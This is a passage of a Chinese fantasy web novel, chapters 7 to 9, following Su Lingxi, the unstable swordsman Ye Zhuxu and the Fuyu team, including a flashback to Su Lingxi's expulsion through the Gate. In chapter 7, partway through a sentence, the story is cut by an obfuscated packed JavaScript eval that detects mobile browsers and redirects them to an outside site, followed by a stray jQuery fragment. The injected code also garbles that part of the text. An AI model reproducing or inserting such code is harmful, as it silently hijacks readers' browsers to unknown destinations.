下一刻,叶逐叙眼中虚假笑意消退,他居高临下,慢条斯理地撒开手中长线,像往鲤鱼池里投入一把鱼食那般轻飘飘。 绳索一松,三只被捆住的妖物顿时了无束缚,无边的凶性和求生欲爆发出来,眨眼睛身形暴涨,怒吼声震耳欲聋,径直朝北院直扑过来。 “拦住他!” 苏聆兮冷了脸,顾不上捅眼前人突然发难的疯子一刀,她借着树的高度对付其中一只。诛妖队立马反应过来,各显神通逮捕剩下两只。 事发突然,又全无准备,场面一时间十分混乱。 溪柳没见过这么恶劣大胆的人,怒斥:“放肆!!” 苏聆兮与虎身虎尾的妖物对过一招后换了位置,一脚将它踢回去,火气压也压不住,一字一句道:“过分了。” 余临安等人现在也回过神来了,抽着气帮忙,几个逼真的纸傀放出去,白绡挑开腰上挂着的小筒往外面抽香。 半空中,苏聆兮却突然不动了,她眯了下眼睛,盯着前方妖物的方向。 却见下一刻。 暴起发难的妖物纷纷停止了动作,有剑光自它们硕大的身躯中迸发出来,它们仍在往前冲,冲着冲着,手,脚,尾巴纷纷掉落,而后是头。有一个头还大张着,舌头掉下来被切成细细的十几块,滚落在石子路上。 强横的剑气给在场所有人上演了一出碎尸万段。 猝不及防,腥热的鲜血喷了余临安,白绡以及诛妖队等人满身。 遍地都是血雾,石桌石凳上,门槛窗棂上乃至树梢上都像被人提着桶倒泼了十几桶血,刺鼻的气味飘到每一个人鼻子里。 鸦默雀静。 半晌,余临安再一次闭上了眼睛,白绡忍不住瘪了瘪嘴,霖玉拳头上冒出忍耐的青筋。 苏聆兮则回头。 她的脸色前所未有的难看。 数十米外,那道身影已经消失不见。 7.第 7 章 三颗妖珠静静悬浮在树冠上,像结了人参大小的果子。 苏聆兮现在明白余临安为何用那个极其微妙的“拖”字了。 她已经许久没有感受过这样直往胸膛里蹿的怒火。 就在这时,有内侍奔进北院,见到四周景象,瞪大了眼睛往苏聆兮边上跑,跑到近前对溪柳耳语。 溪柳又上前,压低声音道:“大人,宣国公今日跪在殿前为孙儿求情时晕倒了,太医说乃急火攻心之症,陛下让您放了小世子。” 苏聆兮长睫翕动,怒火稍退后恢复理智。 “再留一夜。” 溪柳颔首,说下一句时更低了:“……云葶说小楼今夜点灯了。” 苏聆兮抬眼。 半晌,她看着满地脏污无法下脚的北院,对桑褚道:“清理干净。” 除此之外,别无二话。 听着气得够呛。 余临安心虚地挪开了眼。 桑褚今夜也开了眼。他和叶逐叙并未说过几句话,接触他不如余临安来得多,先前听余临安担忧的时候还觉得不至于,现在知道算怎么回事了。 他是体面人,最注重面子与和气,想了想准备和苏聆兮说让她放心,但叶逐叙一来,队伍并非全由他做主,叶逐叙本人他更没法掌控,这话说了也是白说,于是皱眉咽下,心中打定主意今夜要与叶逐叙认真谈一谈。 “好。” 苏聆兮转身,对溪柳说:“走。” 主仆两人转身离开了北院。 看着满地横陈的碎肉,周围几人默默看向白绡。 白绡手里的橘子是没法再吃了,默默放回血水直淌的石桌上,将方才那根抽出了但没用上的香拿了出来。 人间用香多是熏香,浮玉却将香制成了长约三寸的线香。白绡捏了一根在手中,手掌一翻眼前便出现一座小鼎,馥郁的香气顿时腾起,小鼎上盘踞着栩栩如生的图腾,像在与人隔空对视,神秘无比。 白绡上前两步,将手中线香插入小鼎,双掌一合,虔诚垂首。 插上去的香无火自燃。 香燃得很快,香气一点没漏地流进鼎中,慢慢的,小鼎上的图案发生了变化,其中一段图腾悄悄睁开了眼睛,盘在小鼎上绞紧了身躯。随着这一变化,白绡身上的容貌气质也在转变,脸上褪去些稚嫩,头发长了些,束带上似乎也多了什么东西,但看不真切。 很快,天上的残肢断臂和碎肉沫像萤尘一样呈丝带状漂浮在空中,轻柔地投进北院门口两口为了及时灭火而注满水的大铜缸里,水被无形的力量抽取着在桌上,门上,窗上拂过,将所有脏污带走。 三颗妖珠被柔和的力量碾碎,散落的瓜果一颗颗回归原样,连那棵突兀出现的大树也被处理掉了,连根拔起后消散在视线中。 一切都发生在片刻间,没一会,北院焕然如新,浑浊的空气流动起来,变得清新。 见到这一幕,有人忍不住感慨:“点香术真是好东西。” “可惜我没悟性。” “你这话自己说说,骗骗自己就得了哈。”另一人无情揭穿他:“每两月一次的大掌教教学都嗷嗷直叫,真要学点香术,天天在大掌教手下修习,你不得哭死。” “别提,别提。”那人立马清醒了:“我会自尽。” 他们说话时,白绡手掌一翻,收了香鼎走过来,身上的变化随着香鼎的消失一同消失。 “绡绡,你的点香术是不是比来时精进了。”桑褚上前问:“我看方才香鼎的‘相’都出来了。” 白绡摸摸自己的头发:“一点点。老师说想要彻底显现还差很远。” 桑褚同白绡的兄长是好友,她的兄长不在,对她自然格外照顾,当即夸赞她:“已经十分厉害。你还年幼,这样下去日后大有可为,将来重选十二巫并非没有机会。” 白绡不敢飘飘然当真,古往今来,十二巫一共就多少位,想要评选上所要经历的考验与登天也没什么差别,她道:“我会努力的。” 浮玉之人有巫族灵族之分,细分下去术法又有数十种之多,对三大宗与人间来说自然样样神秘,但对他们自己人来说,神秘的只有一样,就是点香术。 就算是伙伴,面对这种术法也会有无尽的好奇。 身边还有人道:“方才就是点香术的香鼎?绡绡的图腾看上去挺厉害,不愧是大掌教认证过的好苗子。” 白绡知道自己其实还差得远。 想到这,她不由得扭头看向身后,方才那人站过的位置。 这次出门,她其实很想看看点香术最厉害的图腾,最惊人的天赋,真正施展起来时究竟是何等场景。 只是不知那人如今还能施展出几分力量。 “行了。”余临安看向桑褚,歪头示意某个方向,问:“你不是有事要说,现在去?” “行。”桑褚收起笑意,站起身来,道:“我先去。” == 甭管苏聆兮与浮玉之间如何碰撞,是否足够友好,至少朝廷的态度在南北院的配置上有所体现。 公堂都一样,差别在官员住的地方,考虑到浮玉修习的术法,也为感谢浮玉伸以援手,为他们修建的都是一进一出的小院子,配有澡堂,冬暖夏凉。 除了依旧没有树木花草,也算得上是赏心悦目。 叶逐叙没来,大家原本给他留的是靠外面最大的那间,后面是余临安连连摆手说别,他不爱跟人交流,看人看多了说不准还想杀,于是作罢,加了间最僻静的以供选择。 叶逐叙果然要了这里。 桑褚走进院里,抬手在房门外叩门。 三声后,门被夜风吹开。 桑褚踏进屋里,里头的人正弯腰点着烛火,点了两支,一支放壁柜,一支放窗台,一支正在点,就拿在手里。 窗牖大敞,月光与烛火都倾注在他一人身上,如此美丽的映衬,加之那张出色至极的脸,给人的第一感觉却并非美好,而是危险的冲击,不妙的预警。 桑褚见过叶逐叙几次,虽未说话,可强者对强者总是欣赏与敬佩的,在今天之前,他对叶逐叙的印象都是风骨峭拔,面若琼枝。 即便余临安几次三番发表了截然不同的意见。 自打那三只妖物的头四分五裂滚到自己脚下的那一刻,桑褚对他的印象自动逆转了。 在众人印象中桑褚是真正的君子,而君子一向不喜欢与疯子打交道。 尤其是动辄大开杀戒的疯子。 他来,是为公事。 “指挥使。”桑褚上前,喊他一声,将手里的卷宗递到他手边,汇报道:“你闭关未出的这段时间,我们做了些布署。” 叶逐叙漫不经心接过卷宗,一手仍持着烛台,扫起来一目十行。 “来长安的第一天,我们就开始查苏聆兮身边的人。这上面是我们查到的这些年跟她有过直接来往的人,与她交好的,与她结仇积怨的,她的近侍,门生,她在朝中的拥趸。皇宫有龙气和镇国印我们进不去,三大宗有护宗阵我们也没轻举妄动。” 说到这桑褚话锋一顿,眉头皱起来:“帝师府我们也蹲守了,但……被识破了,由此猜想上面这些东西并非一定是真的,或许是苏聆兮特意做给我们看来迷惑人的,毕竟这是长安城。”是苏聆兮待了十四年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959185|160687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地盘。 “而真正有可能藏着十二巫的皇宫,三宗之地我们尚没有理由涉足。” 怕打草惊蛇,他们一开始连面都没跟苏聆兮见,第一步就放弃了打感情牌。 结果还是不如人意。 他说话时,叶逐叙十分安静,安静到好像连呼吸起伏都没有。烛火静静倒映在他眼底,极偶尔时才小幅度跃动一下。 话还没说完,叶逐叙就将卷宗丢到了一边,没打算看第二眼。 “信呢。”他问。 他的声音并不低沉冷淡,轻声说话时甚至显得温柔,然这温柔比割命的刀也不差什么,至少见过今夜景象的人不会想多听。 桑褚反应过来,从袖子里抽出一张半折的纸递给他。白纸奇异,触之柔软似丝绸,然挺而不塌,正面是一道耸立于天地间的巨门,若有似无的威压传出,昭显着这信来自何处。 叶逐叙长指挑开纸面,上面的内容便如长线般投入脑海。 桑褚:“长安星乱,恐妖物无法遏制,酿就巨祸,让我们全力襄助朝廷。同时加快进程,寻找十二巫与连星阵。” 叶逐叙将白纸丢到了卷宗上,食指抵着,轻慢地嗯一声。 桑褚原本打算走了,想了想,站回原地,忍不住道:“一天前,转为交换,我们答应了苏聆兮的要求。指挥使,必要时候,我们可以与镇妖司一同行动。” 毕竟,十二巫与连星阵的下落,只有苏聆兮知道。 叶逐叙手中的烛火灯芯突然“啪”的一下,炸开朵迸溅的火花,倒影浅浅拨开他浓黑的睫毛,嵌入瞳仁深处。 今天听到苏聆兮的名字。 比过往几年都多。 屋里陷入一段长而压抑的静默。 “我与苏、聆兮此生不会达成任何共识。” 在念苏聆兮名字时,叶逐叙极慢地停顿一下,好似在回味什么荒谬的东西,只是因音色原因,没显得多仇恶,不知内情的一听,恐怕还觉得有种至死难休的胶着之意。 桑褚沉默一会,提醒:“指挥使,这是公事。我们与——” 触及叶逐叙的目光,他停下。 “公事是公事,你们是你们。”叶逐叙眼皮垂下,手指下的白纸上缠起火舌,将它吞没,而他道:“我是我。” …… 这就是跟疯子说话的吃亏之处。 桑褚不了解叶逐叙,不知道这两人间到底爱多少,恨多少,他看得出叶逐叙的状态,出关不稳之相,不知道他到底是赶着来做什么的,总是看着不是好事。干脆留着等了解的人来劝,再不行的话就如实禀告大掌教与门。 叶逐叙是灵族,如今亦是高塔大首领,门的意志,他总不能不听。 如是想着,桑褚带上门走了。 叶逐叙宛若没有察觉,长久维持一个姿势站着,手中烛台燃烧得快,滚热的烛油随着倾斜的弧度接二连三滴落下来,泼在他手背上。 他静静看着,半晌,伸手将烛油揉散,揉得手背整片肌肤艳红一片,像翻涌的极艳丽的心头血。 几颗燎泡鼓了起来。 小半个时辰后,做足心理建设的余临安敲开了他的门。 说实话,余临安不是不怵叶逐叙的。 但他大概是为数不多的,知道叶逐叙一些事情的人。 余临安站在门口,在夜色中静默了会,开口问:“你这次来,是想找她要一个回答吗。” 叶逐叙撩一下眼皮。 余临安记性不算好,不是过目不忘的奇才,更遑论许久之前的事。 但他永远记得十四年前的那天。 那天是“屡日”。 8.第 8 章 …… 一早开始,浮玉就热闹起来。 少年们总有用不完的精力,拽着长达数十、乃至数百米长的天蓝色丝缎从街头到街尾,又将绵软的云塑成浮雕柱,将缎带挽成花挂上去,一直延伸到海里。第一缕天光绽现时,浮玉的乌芍城中已经是满目鲜蓝。 浮玉有着辽阔的天空与江洋,蓝色是他们最为喜爱的颜色。 往年这样的喧嚣与余临安无关,今年勉强有些关系——他准备在傍晚约学院中一位同样学扶乩的女孩出来。 浮玉的年轻人大胆直率,会勇敢对心仪之人表达心意,展开攻势。 这等事,原本是不该找苏聆兮的。 只是余临安人生第一次怦怦然的悸动有些特殊。据他第一次描述,那女孩身板小,胆儿小,性格还特闷,害怕见人,外面越热闹她越是得窝在家里。 唯一可以撬开她的缺口是点香术。 是。这姑娘身在扶乩术,心在点香术。 她很喜欢苏聆兮,即便余临安再三说明苏聆兮也很倒霉,点香术上一往无前,其他基础术停滞不前。一个月里至少有三次会被大掌教训得狗血淋头,抱头乱蹿。 她也是大掌教手里最让人头疼的问题学生,能把一向严苛的大掌教逼得自我怀疑,他跟苏聆兮走得近,因而有幸听过大掌教指导苏聆兮时的怒斥:这么简单的东西你为什么不会。 语气跟他们被大掌教一袖子甩进水镜但永远爬不出来时一样崩溃。 然而架不住这姑娘盲目崇拜。 余临安只能求助好朋友苏聆兮帮助。 然而一早去苏聆兮家里却扑了个空。 叶逐叙也不在。 他狐疑地掏出灵球一看,也没有消息传来。苏聆兮朋友多,从街头到街尾问了满圈,谁也不知道人去哪了,提着精心准备的礼物站在街尾,余临安脑海中蹦出了个荒谬的念头:这两人不会一早就出去悄悄过屡日了吧? 不是说好了一起?! 他忍不住拿出灵球发给苏聆兮,对这种可能性表达了担忧与谴责:你和叶逐叙在一起两年了,天天都过屡日,孰轻孰重……你不会愿意看到好朋友第一段感情无疾而终吧?! 这要是以往,苏聆兮这时候一定回得极快,附上一句我有什么不愿意的。 然而这次毫无动静。 余临安最后问回了书院里。讲师们都住在书院外城,有一处苏聆兮来得格外多——她的母亲常年躺在这里。 苏聆兮的父母都是学院的讲师,一次带队领着学院弟子外出试炼时发生了意外,水镜逆转,阵法反噬,眼看着数百名弟子要被漩涡夺走生命,她父亲毫不犹豫跳了下去撑住了阵心,当场身亡,母亲带着孩子们回来后也撑不住倒下了,这么多年一直都靠灵族之人提供的灵髓维持生命,没有睁开过眼。 那年苏聆兮一岁。 苏聆兮是被讲师们和当年那些被护着活下来的孩子们的家庭养大的,她那会太小,连记忆都没有,对失去至亲的痛并未有多深刻的体会。 她从小就聪明,知道哪边严厉,哪边宽纵。 每次被讲师们训了就闹出走。 谁不感激她父母,谁不心疼她?随意往街上一走,没一会就会被一家人家扯进屋里,让她吃饭,给她擦脸,听她裂开嘴哭然后哄着搂着睡。 自家小孩被送进学院回家哭得要死要活也没敢插手,偏生苏聆兮一哭,没几家受得住。 隔几日就提上礼物去看望讲师,美名其曰拜访,拜访着拜访着就说起教育,说这孩子太小的时候啊,实在不应太过严厉,末了还要问讲师一句‘讲师觉得呢’,若是遇见真严厉的,油盐不进的,便会换一种方式,说起苏聆兮的父母抹眼泪。 这下,再严厉的都绷不住了。 就这样一晃六七年,苏聆兮越发古灵精怪,讲师们发现了她点香术上的天赋,倾力培养,然而架不住大家的溺爱,越长大就越喜欢上天下海,无知无畏,离经叛道,脑子里就没个怕字的。 余临安自那时起就是她忠实的小跟班。 这种逍遥自在的生活,结束在大掌教正式收苏聆兮为徒的那一年。 大掌教。 提起她,谁不手脚发软,脑门冒汗? 这位四大书院排名第一的掌教,规矩多,讲究多,对自己严格,对别人也严格。苏聆兮不听话,她就见招拆招地同她过手,苏聆兮不爱看书,不爱听道理,她就一字一句指着书让她念,教她人立身处世之根本,什么是仁义道德,强迫她学规矩,让她不要太过放肆。 每年清明去看父亲,除夕来看母亲,跟她说说话亦是大掌教给苏聆兮布置的功课。 久而久之,苏聆兮养成了出远门先来与母亲话别的习惯。 余临安猫着腰抄近路从南边小门里钻了进来。有个妇人常年照顾苏聆兮的母亲,那会拿着竹扫帚扫落叶,见到余临安还眯着眼睛看了一会,才认出来:“是小兮的朋友啊。” “江姨。”余临安问:“这段时间苏聆兮来过吗?” “来过。” 余临安脸一绷,心一凉,然还没等凉完,妇人就接着道:“小兮跟她母亲说要同十二巫一起去人间办事,诶,有好一段时间了,你不知道吗?” 他眼皮跳了下。十二巫临时接令去人间这事他是知道的,但苏聆兮……这跟苏聆兮有什么关系,她去做什么? 这让他上哪知道去。 “她有说什么时候回来吗?”他问。 “说是很快,会回来过屡日。”那妇人看了看天,惊异地道:“诶,今天就是屡日,小兮还没回来?” “还没,可能要晚点吧,现在还早。” 余临安抹了把脸,没有立刻离开,而是转身往屋里走:“我看看苏姨。” 进门前他不由得整了整正了正自己的发冠,又拍了拍衣袖,郑重其事地伸手敲门,敲完三声后推门。屋里有座小阵法,幽蓝色的光铺在地面上,摆设一应俱全,素雅幽静,一扇巨大的屏风隔绝了视线,屏风后静静地躺着浮玉最受敬爱的讲师。 “苏姨。”余临安行了个晚辈礼,在灵戒里摸了半天,摸到仅剩的几块灵髓石,全掏了出来,弯腰放进阵法里,房间里光芒霎时强盛起来,“许久没来,攒了些灵石。” 站了一会,他有些不好意思地提了提自己喜欢的姑娘,又握握拳说虽然苏聆兮十六岁就将叶逐叙带回了家,但自己也会努力的。 叨了一会,余临安准备离开,转身前仍然习惯性地加了句:“希望您早日醒来。” 既然苏聆兮跟着十二巫去了人间,那叶逐叙一定还在浮玉,余临安觉得奇怪,怎么连他都不见人影。 到了下午,节日气氛更浓郁,各种晚间的活动陆续在筹备,如火如荼。 只是这年的屡日终究没过成。 那会是酉时三刻,太阳西沉,天自东边卷起黑腾腾的边,正要慢慢铺陈过来。近处远处鼓声不断。 一声炸雷突然撕开了所有的热烈,压过了灯海的光芒。 天地震颤。 浮玉之门的轮廓隔着千里万里,出现在所有人的视线里,带来无从抵抗的强大压迫感。门的意志通过某种源自血液的牵系,无声翻涌在每一个人的脑海里。 自今日起,驱逐十二巫,自浮玉除名。苏聆兮犯下不可饶恕之罪,念其父母奉献,允她半个时辰内入门,过时同上处置,永不宽宥。 有人说,每个出生在浮玉的人,体内都有道小门,小门与大门有牵系,因此不论身在哪,总都能归家。 从前年轻人们不信这种说法,人间把浮玉说得神乎,实际也没那么神乎,而直到那天,他们才知道,才真正见到,原来这则传言是真的。 原来那道比万仞之山还巍峨高大的门会连续开阖那么多次,每一次都像铜钟被撞响,声音那样宏大,传过千里万里,清晰抵达每一个人的耳畔,惊起浑身的颤栗。 每一道,都象征着有一个人在外,从此山南海北,与这里再无瓜葛。 不论什么缘分,不论什么牵绊,无论体面与不体面,都在今夜无声画上了句号。再无瓜葛这个词,原来让人肝肠寸断。 所有的动静都停了,世界恍然安静下来,但好像又不是。 余临安是从云头再一次跌下来的时候意识到的,意识到自己浑身血液都在呼啸,心脏跳得太快,而自己在奔跑,不顾一切向巨门靠近,周围和他一样动作的人亦有不少。 有些面孔他还认识。 渐渐的,他能听到更多声音,问为什么,发生了什么,人间到底出了什么事。什么事情严重到十二巫处理不了还将自己搭了进去,严重到要将他们除名驱逐。 那可是十二巫。 浮玉有十七座城,数不尽的书院,每一辈年轻人成百上千万。而百余年一选的十二巫考核都是亘古不变的十二条道,每一个走通一道的人都是当世最出色的奇才,毋庸置疑,他们是浮玉的未来。 十二巫权力很大,能做许多决策,基本不会同时为一件事出手,因此这次去往人间,谁也没担心过他们。 余临安掏出灵球,脑子里一片混沌,脑子里太多东西要问,到手上又开始不争气地抖,晴天霹雳不足以形容他那时的心情。最后什么也说不成,只是来来回回重复一句话:苏聆兮,回来,快! 快一点。 再快一点! 他没去过人间,不知道门外人间有多大,而苏聆兮在哪座城池,此刻离门又有多远,拼尽全力来得来不及。 他只知道从书院到门的距离很远,前所未有的远,远到自己赶到的时候十一声钟响结束,半个时辰期限已经近在眼前。 许多人都到了。 三位掌教,许多讲师,还有十二巫的亲人们。每一个人的表情都很凝肃,许多人在哭,浮玉从来是安宁温馨的,余临安第一次见到这样的场面。他下意识往门边闪去,可还没靠近,脚步就已经凝在原地,难进寸步。 他知道为什么周围这些人捏着拳一动不动了。 “我就出去一会。”因为毫无办法,余临安甚至幼稚地举起了手指发誓:“我把她拉进来,真的,就一会。” 没有任何人回应他。 在远处无数盏花灯亮起来,一同往天上飘的时候,时间到了。 在门的面前,人渺小得可怕,如尘埃般不起眼,那像是一把遮天蔽地的巨刀,刀身横斩着掠过头顶。嘎吱一声渐渐开了,又随着更大的清音逐渐关闭。 时间太久,余临安已经忘记自己那时候在想什么,是什么样的表情与心情。 又或者说还来不及想。 因为出现了变故。 就在门即将彻底关上的前一刻,余音短暂地停了下来,门闭合的动作慢下来。 虽然变化十分微小,但这何其罕见,几乎所有人的目光都被吸引,看向了同一个方向。 叶逐叙不知从哪里赶来,出现在门前。雪白纯净的剑立于他身前,无匹的银色光涟如洪流般涌向千丈之门,蚍蜉撼树一样跟门做着拉扯,背负着这种重逾万斤的挤压,挑衅门的威严,他的声音极低:“再等等。 ” “是灵体。”有人认出了他敢与门争夺的底招,视线自长剑掠过,道:“……他不要命了。” 灵体是灵族的根本,是杀招,但也要看是在跟什么对抗。诚然,这么漂亮的灵体足以说明其天赋实力,但跟天道之力作对就是痴心妄想了。 咬着不放,灵体崩裂时肉身也会碎。他会死的。 “苏聆兮的那个谁。我忘记名字了。”哀痛欲绝的低泣声中也有压低的声音在说:“一上来就放灵体,对自己挺狠的。” 而事实上,在这种时候,也就这种殊死的手段有点用。 门对未犯错之人会动恻隐之心。 半空中,大掌教眼睛沉沉一闭,再睁开,吩咐左右:“把他拉开!” 可大家与叶逐叙不算熟悉,打过两声招呼也是因为苏聆兮的介绍。 叶逐叙无父无母,没有亲人朋友,在进书院之前,连师长也没有。 随着咔嚓一声,长剑上出现裂痕,一道变作两道,而后更多细密的裂纹交织着扩展,由此形成的纹理像一棵在瞬息间成长起来的苍天巨树,隐隐洇着血色。 与此同时,叶逐叙苍白如 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而就在千钧一发,让余临安毛骨悚然的那刻,苏聆兮出现在了门外。 门只剩一条缝,他们能窥见苏聆兮半张脸,身后是巨大的香鼎虚影,伴随某种远古洪荒之兽的啸声。看得出来,因为路程太远,她用了点香术赶路。 余临安喜极而泣,跟许多人一样朝她滑稽地摆手,朝她破声地叫:“进来啊!快进来!!” 总算赶到了。 也就是在这一刻,叶逐叙才慢慢散去支离破碎的灵体,五指紧握了下,慢慢站起来,看着她动了动唇,因为耗尽了所有力气,声音轻得谁也听不见。 但他知道苏聆兮懂他的意思。 可苏聆兮并没有第一时间入门,她的脚步停在门后,静默的,迟疑的。意识到什么,所有人脸上都没了笑容,他们定睛更为细致地看,却看不见苏聆兮的眼睛,只能看到她死死咬住的,咬出两道极深齿痕的唇。 太过用力,逼出的颜色不详极了。 比大家先反应过来的是叶逐叙,明明已经那样了,不知他从哪来的力气,又是怎么练就的反应速度,他用拇指顶出鞘中的剑,迅速朝门斩出。 被拦下来了。 门外最后一丝光也要不见了。 叶逐叙眼珠一动不动地看着苏聆兮,深黑的睫毛却忍不住颤动,问:“……为什么。” 明明。 苏聆兮明明知道他的一切,他心中所有的乖戾扭曲,知道他的全部,事无巨细……她仍要与他在一起,说永不离弃。 她明明知道被浮玉除名会发生什么,她会忘记一切。 明明…… 说好一起过屡日。 跟众人一样,他甚至不知道她出去做什么,外面又发生了什么,以至于现在,他更想不明白,她为什么还不进来。 最后一眼,所有人见到,苏聆兮头也没回地转身奔往人间。浮玉那时的天已经完全黑下来了,但看样子,人间正是骄阳烈日好时辰。 慢慢的人都散了,浮玉整夜灯火未歇。 唯有叶逐叙站在原地,不知在想什么,余临安哭得眼皮发肿只剩条缝,上前时亦会被他当时背影里浓郁的死寂之色震住,他哽着声道:“先回去吧,回去再想想,看能不能有什么办法。” 叶逐叙跟没有听到一样。 等得久了,余临安忍不住推了他一下。 这一下让他整个人踉跄,一下子半跪下来,而后是一口接一口止不住的鲜血吐出,像是要把整颗心都碎了呕出来。 余临安吓坏了急忙去扶,视线停在叶逐叙手上,愣住。 这人用剑那样厉害,手指自然修长匀称,堪称赏心悦目,然现在皮肉都碎了,也真只剩几节指骨,而掌心里攒着一个不知道是什么东西的圆球,攒得越来越用力,越来越用力,最后紧紧闭着眼晕过去。 余临安把他带了回去。 也就是这时候才知道,苏聆兮从前没骗他,这人是真没有父母,没有朋友,这个时候谁都有要安慰的人,他这样甚至没人来照看。 苏聆兮一走,整间屋子都透着浓郁的病气与死气。 余临安照顾了叶逐叙大半个月。 到最后几天才掰开他的手,看到里面躺着一颗圆鼓鼓的银色铃铛。 …… 余临安自然而然以为,这次叶逐叙会来,是因他执着于要个答案。 究竟为什么,为什么苏聆兮当日要那样做,他为了争取那么一点时间,差一点就死了。 叶逐叙不顾一切,命都不要了,可苏聆兮转身就走。 人活在世上总有执念,就像被判死刑的囚犯,死也想死个明白。 叶逐叙若说是,他便会自然而然地陈述事实,十四年的光阴之下,问什么也没有意义。再深刻的,耿耿于怀的东西,都不会再有回答,注定泯于时间洪流之中。 不论是什么,苏聆兮都已经完全忘记了。 残忍归残忍,可总要说破。 叶逐叙毕竟不是十四年前的叶逐叙,而今的他能横扫这一辈所有人,以至于入高塔时甚至毫无疑意,大首领之位非他莫属。这样的殊荣,整个浮玉找不出第二个。 再也没有人能让他狼狈。 他要真想打,那就真完蛋。 不知何时,叶逐叙放下了烛台,手中勾了晚上还系在腰上的那颗铃铛漫不经心把玩,当年那样死抓着不放的东西如今好像也没什么意思。 然而叶逐叙思忖的时间甚至没有余临安回忆的时间长,觉得他问的话多可笑一样莞尔:“我要什么答案?” 余临安不信。 先前桑褚留下的两份纸,一份来自浮玉的信已经被他眼也不眨地毁掉,还有一份关于苏聆兮的生平撂在案头。 叶逐叙走过去,拿起这份卷案,放于烛火下逐字逐句地看,也递到余临安面前让他看。 灯火下他的睫毛深浓,眼瞳里光影起伏,剪影十分漂亮。他声音轻轻的,挺欣慰似的:“你看,这么多年,苏聆兮认识了许多,许多新朋友。” “……” 9.第 9 章 片刻后,余临安从小院里出来,在拐角处与一直静静等待的桑褚碰面,桑褚皱眉问:“说通了?” “哪那么容易。”余临安伸手摸了下脖子,忍不住叹气。 “都说什么了。” “问我想不想死。” 桑褚沉默地看着余临安,半晌,问:“然后呢?” 余临安摊了下手,诚实道:“我说不想。就出来了。” “……” 如果不是最后关头叶逐叙横插一脚,这次指挥使十有八九是桑褚。能坐到这个位置,见过的人经手过的事属实不少,然此时此刻看着余临安的脸,想想叶逐叙今夜干的事,再过一遍队伍里都是些什么样的精锐,桑褚一时竟不知该说什么。 内忧外患,要做的事仍然毫无头绪。 桑褚觉得自己在掌一艘千疮百孔的舰,有心挽救,无从下手。想堵一个孔,掀起来一看,发现整块甲板都是破烂。 “不过,今晚这样,已经比我想的好了。” 余临安正经了些,说:“只是叶逐叙管着高塔,看现在的样子,不管怎么样的事……估计跟苏聆兮没法和平共事,更不可能听她调令,咱们这支队伍跟镇妖司之间的协作,还得你来。” 桑褚脸色不太好看。 余临安看着那座小院的方向,半晌也没再说话。既然不是来要回答,也注定要不到回答,那么叶逐叙是来做什么的。 他想,或许是告别。 十四年太久,太累,再执拗的人也想释怀。 他和苏聆兮都是从十四年前的回忆里走出来的人。 这些年余临安自认成长了许多,来之前做足了心理准备,想的是苏聆兮还活着,平安健康就行。可真到见她第一眼时,见到那种冷漠戒备,虚与委蛇的虚假官腔,仍有种说不清道不明的尖锐酸楚迸发出来。这让他成了昨夜第一个跳出来质问她来意的人。 走出来的人都尚且如此。 一直走不出来的人呢。 总需要一点时间的,余临安对自己说。 == 子夜,苏聆兮和溪柳等人离开镇妖司,转道进了宫。 深夜进宫需要陛下传召,苏聆兮是个例外,溪柳在前面与宫门守卫对鱼符,递腰牌,守卫哪儿敢拦,只是职责使然仍要问一声:“大人要去哪?” “藏书阁。”溪柳面不改色道:“去查证些关于妖物的事。” 守门将领一听,将腰牌递回去,开门放人。 一路上苏聆兮抿着唇,眉头没有松过。在最初的愤怒与冲击之后,她很快让自己冷静下来,逐一分析现在的情况。第一眼与叶逐叙对视时苏聆兮便觉得怪异,说不出来的怪异,现在回想起来,知道原因在哪了。 那人看她的眼神里,是隐秘曲张的恨意,恨得想将她敲骨吸髓,挫骨成灰。 苏聆兮想象不到自己这得欠下了什么样的情债,才能招惹来这样一个大麻烦。 她跟许多人结过仇,也与许多人一笑泯恩仇,只要她想,她有无数种方法让人解开心结,形势所需,推心置腹,投其所好乃至低头,只要能达成目的,于她而言,都是不值一提的小事。 可这回情况终究是特殊。 对她来说,不管曾经如何,她和什么样的人有怎样的纠葛,是爱是恨,都已经过去了。 她想,在排名靠前的那些妖物浮出水面前,和浮玉那支队伍的对接就先让南院的人来。原本打算在接触中从浮玉等人嘴里套些东西出来,现在看来只能先放放。 在这期间,她有更重要的事要做。 藏书阁位于皇宫南侧,拥有藏书六百多万册,占地不小。书属木,容易走火,需以水镇,因此楼阁的墙面屋檐刷的都是象征五行中水的黑色。 除了藏书的楼阁,顺着山势往上十几里,另有十几座小楼,这里常年空置着,夜里连灯也没一盏。 听说这里是为一些神秘的阁老所建。人族走出去的一些前辈在闯荡一生,闯出赫赫威名后会选择成为皇族的阁老,保护皇帝及其子嗣兄弟,尤其是经过十四年前先皇过世以及三年前新旧皇更替的乱子后,不忍天下受乱而选择这样做的老者明显变多。 不过这地还是荒芜得很。 大家都不爱住在皇宫里。 越是来历大,修为高的人,越是能感受到镇国印与龙气的震慑。 苏聆兮到的时候,楼阁里漆黑一片,灯也都灭了,静悄悄的看不出一丝人来过的迹象,她问溪柳:“亮灯的在哪?” 溪柳指了指右侧那座小两楼,道:“亮了一会,很快又熄了。我们的人没敢过去打扰。” 苏聆兮嗯了声,径直走过去。 临到楼前,她提步踩上楼阶,示意其余人在下面等。 门虚掩着,一叩就开,这间屋子不大,陈设布置自然素雅,不如皇宫别苑镶金嵌玉大气华贵,房里就摆了张卧榻,斟茶对弈的小几也无,取而代之的是两块稻草蒲团。 苏聆兮走过去将蒲团翻过来,以为会有留信,可并没有。 人悄悄地来了会,又悄悄走了。 苏聆兮在屋里站了会,起身下楼,溪柳过来唤了她一声大人,她应了声:“收拾一下,我这两天住在宫里。” 溪柳道好,立马让人安排了。 苏聆兮对吃住要求都不高,跟在她身边久了也懂这些,很快就在藏书阁的偏角楼里开了张床,抱了干净的软枕软被铺好,又点了香。 苏聆兮没有立刻躺下,她在四方桌边抽了张椅子坐下,伸手搭了搭额心,溪柳问她:“大人,明天我们要去面见陛下吗?” “不。”苏聆兮顿了顿,问:“陛下这几天在做什么?” 